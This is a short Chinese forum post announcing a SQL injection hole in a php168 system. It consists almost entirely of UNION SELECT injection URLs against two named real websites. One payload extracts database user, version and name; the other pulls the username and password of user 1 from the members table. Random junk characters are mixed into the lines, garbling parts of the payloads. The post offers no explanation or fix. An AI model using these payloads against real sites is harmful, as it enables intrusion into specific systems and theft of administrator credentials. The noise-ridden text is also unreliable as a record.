php168某系统注入漏洞

admin · 发表于 2012-10-18 08:52:44

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--6 S5 b5 L. b% E, \/ B

% y' `, y# w7 ^. |) n1 @& W                                     8 z' T2 G  y( w- I) Y
' y. {, F6 P- i6 Q# `' `% S, i
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--0 {1 n$ p5 h2 V8 e8 t2 }
                                                   4 ]) U: r% S8 T! W  B& U+ z" F% }% ]
                                                               0 N+ Q  |; M6 c' m8 k; G; b

, x5 K( E" Q) K. g6 C2 ]http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--5 S7 K  [* p, f, q
* `% b4 A1 k0 X  f! @1 A) H2 d

: ^2 E2 o2 O5 _4 _) H0 d' o4 l) U3 m# [5 |8 k/ \4 X7 x' {- p
                                                         9 t7 `1 a7 i( O  l3 X
) P( D& I: [3 R' g
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
) _/ L$ [3 v$ S9 [7 s0 r# w
  X6 u0 d# V: p2 q0 O. o- W. t+ C- X* w, b4 {+ j' C! {1 l
9 m& M& ^5 L2 G/ L; @: I: ?% T

. P- c8 Z4 Q0 C! M; R

		自动登录	找回密码
密码			立即注册

php168某系统注入漏洞

本帖子中包含更多资源

相关帖子